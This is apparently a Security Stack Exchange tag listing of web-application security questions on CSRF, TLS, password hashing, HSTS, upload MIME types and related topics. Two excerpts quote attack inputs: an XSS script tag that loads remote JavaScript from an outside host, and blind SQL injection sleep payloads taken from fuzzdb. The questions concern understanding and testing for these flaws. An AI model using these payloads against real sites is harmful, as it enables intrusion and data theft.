An application that is accessed over a network such as the Internet or an intranet using a browser.

learn more… | top users | synonyms

6
votes
4answers
2k views

CSRF protection needed for clients that don't accept cookies?

I have recently updated a website from Django 1.0 to 1.3. One of the changes introduced was automatic protection against CSRF attacks. For the most part, this works great, but I have a problem with ...
3
votes
3answers
268 views

Where's the security when a payment gateway let website handle Credit Card detail

Has anyone worked with eWay payment gateway before? Basically, there's a service endpoint where you post the customer's detail and credit card details from the web application after the browser sends ...
14
votes
4answers
664 views

Is it safe to store and replay user-provided mime types?

If a user uploads a file but modifies the request by setting the mime-type to something arbitrary, like "superdangerous/blackhatstuff", is it safe for me to send the same mime type back to a different ...
19
votes
4answers
5k views

https security - should password be hashed server-side or client-side?

I am building a web application which requires users to login. All communication goes through https. I am using bcrypt to hash passwords. I am facing a dilemma - I used to think it is safer to make a ...
6
votes
3answers
1k views

Why banking websites always ask me to authenticate my PC even after I'd chosen to “Remember my Computer”?

Why banking websites always ask me to authenticate my PC even after I'd chosen to Remember my PC? This is the case with all banking websites
8
votes
5answers
1k views

Websites that interactively test browser security (XSS, CSRF, Javascript, etc)

I'm looking for a comprehensive list of browser test sites so that I can visually prove that the browser is patched and configured for safe web browsing. My intent is to know what risks may exist ...
1
vote
1answer
349 views

What does a Yadis / XRDS discovery session “look like” to the end user? How does it work? Is it relevant?

I can't wrap my head around how Yadis / XRDS would be used by a typical end user, or how it works so transparently? Considering that this technology isn't adopted by mainstream IDPs that makes me ...
12
votes
6answers
1k views

Securely building a local pentest lab in a VM

I'd like to set up OWASP WebGoat or a similar vulnerable web app in a VM (probably VirtualBox on Linux). For convenience's sake, I'd like to get it running on one of the primary machines I use (say, a ...
15
votes
5answers
4k views

Preventing information disclosure from browser back button/history?

I have sensitive data that will be hosted on a website, and I would like to prevent the data from being exposed in this scenario: The primary user logs off the application, but does not close the ...
5
votes
1answer
221 views

What is the status of forced HTTPS everywhere (Strict transport security) via DNS? I only see last years draft

I'm trying to find the most recent RFC on HSTS in DNS (or rather said DNSSEC), but can only find this year old one in expired draft status Where can I find the most current guidance on STS in DNS? If ...
18
votes
1answer
12k views

What key exchange mechanism should be used in TLS?

There are many key exchange mechanisms that can be used in TLS. Among them are RSA, ECDH_ECDSA, ECDHE_ECDSA, ECDH_RSA, ECDHE_RSA and others. Which of these are more cryptographically secure and can be ...
1
vote
2answers
246 views

Is the OData Protocol susceptible to Insecure Direct Object References?

The Open Data Protocol or OData is a great protocol created on top of Web Technologies.It uses the URI convention for the data exchange using Atom, JSON and XML. You can use the URI convention ...
7
votes
3answers
860 views

How serious are XSS attacks

A website I visit allows this kind of attack, to be implemented with GET in the URL <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> Along with many others on this page: ...
28
votes
3answers
8k views

Why is the same origin policy so important?

I can't really fully understand what same origin domain means. I know it means that when getting a resource from another domain (say a JS file) it will run from the context of the domain that serves ...
6
votes
7answers
874 views

Should I prevent sending of GET requests for urls that are normally operated with POST request?

There is an url that is normally operated using POST requests (i.e. POST request is sent when user submits form). But attacker can form GET request with parameters that are sent in POST request. This ...
3
votes
0answers
407 views

When to move from Container managed security to alternatives like Apache Shiro, Spring Security? [closed]

I am trying to secure my application which is built using JSF2.0. I am confused about when do people choose to go with security alternatives like Shiro, Spring Security or owasp's esapi leaving ...
9
votes
3answers
2k views

Is it possible to forge a post request?

Consider the following URL http://mysite.com/form?date=x. Suppose that if x is in an incorrect format, that a page is returned with <p>x is not a valid date</p>, where the page author has ...
4
votes
1answer
8k views

AES-256 OR RSA-2048 for web application security?

I'm developing a web application with a database backend using Django that will be accessed from the Internet. The database will contain sensitive information and I'd like some advice on the approach ...
3
votes
2answers
474 views

When is an intermediate page needed before directing a user off my primary website? What is the best implementation?

The NSA has a page that intercepts redirections off the primary site. (click "TLS: "Suite B Cipher Suites for TLS," RFC 5430" for an example). I've seen this used in Exchange Outlook Web Access ...
14
votes
3answers
5k views

Is the Facebook login form using SSL without https in the URL?

If I go to http://facebook.com, I am not redirected to https://www.facebook.com. If it doesn't have https in the URL, can the login be secure? Usually I am redirected to an https page on other sites? ...
17
votes
2answers
562 views

What risks should I be aware of before allowing advertisements being placed on my website?

The thought of having a 3rd party send javascript, and images to end users seems to be a scary thought, but that is exactly what we are doing when I place advertisements onto my site. Does serving ...
16
votes
1answer
3k views

Guidance for implementors of HTTPS-only sites (Server side)

The recent trend in HTTPS attacks is to attack the HTTP protocol. What should I do to increase my site's security if the only protocol I want is HTTPS? Some easy to implement ideas are Implement ...
2
votes
2answers
103 views

How can I force certain the webclient to honor or remember certain parameters from the webserver?

HTTPS is subject to several MITM attacks, that is clear. However I think it would be helpful to the ITSec crowd if there was a way to force a certain browser behaviour when accessing known-trusted ...
8
votes
9answers
378 views

What is the proper way to view the sourcecode of a website?

I recently heard that Firefox makes a second HTTP request when the sourcecode is requested. Is this true? Does this mean the webserver may issue alternate source from the original? Lastly, is ...
6
votes
5answers
624 views

Should a closed source website keep a secret key in its source?

Various APIs (such as Facebook or Amazon S3) require a secret key to authenticate access to the service. Obviously, if source code is public, the key should not be in the source! What about for a ...
22
votes
5answers
1k views

How to improve as a security expert

I'm a professional software developer with a high interest in web application security. I'd say that I probably have a better understanding of the security of web applications than the average ...
4
votes
5answers
2k views

Should I ignore the BEAST SSL exploit and continue to prefer AES?

Because of the BEAST exploit it seems everyone is saying you should stop using AES and instead use RC4. I am wondering if it wouldn't be better to continue using AES instead for the following ...
4
votes
1answer
565 views

What is the impact of certificate validation level (or class) on deployed web applications?

Certificates can have a class level (or validation level). What is the impact of these levels on deployed web applications? More specifically: Is the certificate level included in the certificate ...
4
votes
1answer
368 views

Any non-commercial certificate authority issuer for web applications?

Is there any non-commercial certificate authority capable of issuing valid certificates for web applications? I mean, the certificate must be accepted by browsers, like those of commercial CAs?
9
votes
2answers
5k views

Implications of Trace/Track Methods on Apache

When performing vulnerability scans using Nessus, against a host running Apache, one expected result is always "HTTP TRACE / TRACK Methods Allowed". While this result only has a base CVSS of 4.3, I ...
4
votes
1answer
5k views

Is the service join.me actually a huge security risk?

In case you don't know, there is a website called join.me which lets you do screen sharing from a browser, using a flash program that is on the web page. Until I encountered this service, I had no ...
6
votes
4answers
3k views

Can Central Authentication Service (CAS) do authorization?

I have a few web applications that I'm trying to tie in via CAS, but I'm a little confused about the authorization, which I read CAS isn't supposed to do. Yet, I see something like groups, but don't ...
3
votes
3answers
2k views

Google App Engine Security

I am writing a master thesis concerning security of certain applications, and as a part of it I want to write a web app on Google App Engine and test how secure it is. Does anyone know if there was ...
0
votes
0answers
102 views

Google App Engine Security [duplicate]

Possible Duplicate: Google App Engine Security I am writing a master thesis concerning security of certain applications, and as a part of it I want to write a web app on Google App Engine ...
6
votes
2answers
195 views

Where can I find good resources on reversing web malware?

I am wondering where I can find a good site with resources on reversing web malware like javascript, flash, html5, and any other stuff that is designed to attack the clients. Does anyone have any ...
13
votes
2answers
174 views

Would suggesting a random passphrase during sign-up hurt overall security?

I've been looking for ways to improve security and security awareness for both internal and external clients and I happened upon the idea of generating a one-time, random "password suggestion" on the ...
10
votes
3answers
2k views

Using file extension and MIME type (as output by file -i -b) combination to determine unsafe files?

We allow users to upload a number of files, all of which we either send over to scribd (doc, xls, ppts, etc) or display as a video ourselves (flv, mov, mp4, etc in flowplayer). To avoid users ...
5
votes
3answers
875 views

Is security increased by using a subdomain per customer in a web-app?

I'm thinking about adding per-customer subdomains to my web app (which would mean a wildcard ssl certificate and some extra code). It's an app to help small companies with their cashflow. Customers ...
0
votes
1answer
401 views

What are some good resources for learning how to hack my website? [closed]

Note: This is for my personal use. I'm not going to hack someone else's website. I have several websites, and I'd like to learn how to hack them so that I can secure them. Where can I find some good ...
3
votes
2answers
961 views

Payment gateway integration, any security considerations?

I'm interested in understanding what security considerations there are around implementing a payment gateway. I have, so far, thought of: having a SSL Cert is a MUST. logging actions is critical. ...
4
votes
2answers
150 views

Scan for common web applications?

Is there an automated tool that takes a list of hosts and figures out which common web applications (such as Wordpress, Mediawiki, Joomla etc) they are running and - if possible - which version and ...
2
votes
1answer
804 views

folder and file permission shared host advice

I have a website with a webhost company. I wrote a little php/mysql application - no file uploads, just administering data from the DB and creating pdf with TCPDF. There are folders like css and js ...
42
votes
11answers
6k views

What to do about websites that store plain text passwords

I recently received an email from a popular graduate job web site (prospects.ac.uk) that I haven't used in a while suggesting I use a new feature. It contained both my username and password in plain ...
2
votes
1answer
305 views

Security reason why one should upgrade old web server to modern Java EE Web Application Server

Currently the company I work for uses Sun Java System Web Server 6.1 SP9 and Java 1.4.2. I know this version of Java reached its EOSL around 2008. The Sun Server still seems to be supported but it's ...
8
votes
6answers
839 views

when is it safe to click through an SSL warning message?

How does a user know if it's safe to click through scary browser warnings about SSL certificates? Ideally, a user should never need to click through these warning messages, but sometimes honest ...
4
votes
2answers
1k views

How to find and protect against the exploited vulnerability in a PHP application based on the logged URL?

I have been attacked on a shared host server and they said I should configure my own php.ini file properly. I have a little PHP/MySQL program with a registering function, a little admin site. ...
2
votes
3answers
2k views

Authentication between multiple systems/platforms within the same web application context

Consider the following scenario: Web application is using two separate systems (they can share data/state through DB). First one is used for processing standard web stuff like http requests/responses, ...
3
votes
1answer
684 views

Securing sensitive data in a DB,is using H2 worth it?

I am designing a web application at the moment, and one of the requirements is to secure the user credentials as well as their roles. Now of course, besides the usual password hashing + salt +.... I ...
4
votes
2answers
966 views

Is it possible to test for Postgres BlindSQL injection using pg_sleep() in a WHERE clause?

In mysql, I am familiar with using the following payloads to test for blindsql when the WHERE clause is vulnerable (all payload examples from fuzzdb): 1 or sleep(TIME)# " or sleep(TIME)# ' or ...
3
votes
2answers
139 views

Need an overview of web service / web site security world, where do I start? [duplicate]

Possible Duplicate: Resources to learn about security I'd like to get a good understanding of modern issues in web security and get insight into what it takes to keep your sites and ...